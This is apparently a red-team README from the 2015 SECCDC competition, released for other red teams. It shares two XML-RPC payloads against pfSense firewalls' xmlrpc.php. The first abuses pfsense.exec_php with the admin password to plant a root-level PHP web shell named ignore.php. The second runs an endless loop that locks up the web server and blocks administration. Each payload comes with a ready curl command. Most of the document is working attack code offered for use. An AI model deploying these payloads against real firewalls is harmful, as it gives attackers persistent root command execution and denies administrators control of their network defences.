Quick Introduction
This is a sample payload and example use of abusing pfSense's xmlrpc.php functions to establish a backdoor and get root level access to pfSense firewalls.
This exploit is post-auth (for the admin account) and as it stands is considered a non-issue according to
the pfSense security team, since this password is shared for both the web and ssh services (ssh wasn't WAN
accessible when this was used). This authentication method bypasses security rules that apply to auth attempts
against the web and is treated as a local_backed authentication attempt. Any PHP shells that are dropped
to web root will run with full root perms. It is also worth noting the web server appears to be single threaded
so spinning up a long running exec (such as a loop or ping without count) will effectively DoS the web server
and stop web based authentication and administration.
This was discovered during the 2015 SECCDC competition and was used to drop active backdoors on teams firewalls. I am releasing it because I thought it was interesting and could be handy for other Red Teams.
The XML PHP backdoor payload
This payload can be sent to the pfSense box, it will utilize the pfsense.exec_php method to write a very simple
php backdoor named ignore.php to the webroot on the firewall.
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param><value><string>password</string></value></param>
<param><value><string>exec('echo \'<pre> <?php $res = system($_GET["cmd"]); echo $res ?> </pre>\' > /usr/local/www/ignore.php');</string></value></param>
</params>
</methodCall>
Simple usage
Using this payload against the pfSense xmlrpc.php file is a simple HTTP request using curl
curl --data @pfsense_exec http://10.10.100.1/xmlrpc.php
The backdoor in use at SECCDC
The XML DoS
This payload can be sent to the pfSense box, it will lock up the web server so web based authentication and administration will not function.
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param><value><string>password</string></value></param>
<param><value><string>exec('while true; do sleep 1; done');</string></value></param>
</params>
</methodCall>
Simple usage
Using this payload against the pfSense xmlrpc.php file is a simple HTTP request using curl
curl --data @pfsense_dos http://10.10.100.1/xmlrpc.php